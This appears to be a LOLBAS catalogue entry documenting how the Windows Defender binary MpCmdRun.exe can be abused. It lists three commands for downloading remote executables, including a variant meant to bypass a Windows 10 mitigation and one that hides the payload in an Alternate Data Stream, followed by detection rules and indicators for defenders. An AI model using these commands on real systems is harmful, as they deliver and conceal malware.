MpCmdRun.exe

type: OSBinaries

Binary part of Windows Defender. Used to manage settings in Windows Defender

Full path

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe
C:\Program Files\Windows Defender\MpCmdRun.exe
C:\Program Files (x86)\Windows Defender\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23110.3-0\X86\MpCmdRun.exe

Commands

DownloadUser T1105
Download file
```
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}
```
Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)
os: Windows 10

DownloadUser T1105

Download file

copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe

Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.

os: Windows 10

ADSUser T1564.004
Hide downloaded data into an Alternate Data Stream
```
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe
```
Download file to machine and store it in Alternate Data Stream
os: Windows 10

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml
Elastic https://github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml
IOCMpCmdRun storing data into alternate data streams.
IOCMpCmdRun retrieving a file from a remote machine or the internet that is not expected.
IOCMonitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
IOCMonitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
IOCUser Agent is "MpCommunication"

Resources

acknowledgement: Askar @mohammadaskar2, Oddvar Moe @oddvarmoe, RichRumble, Cedric @th3c3dr1c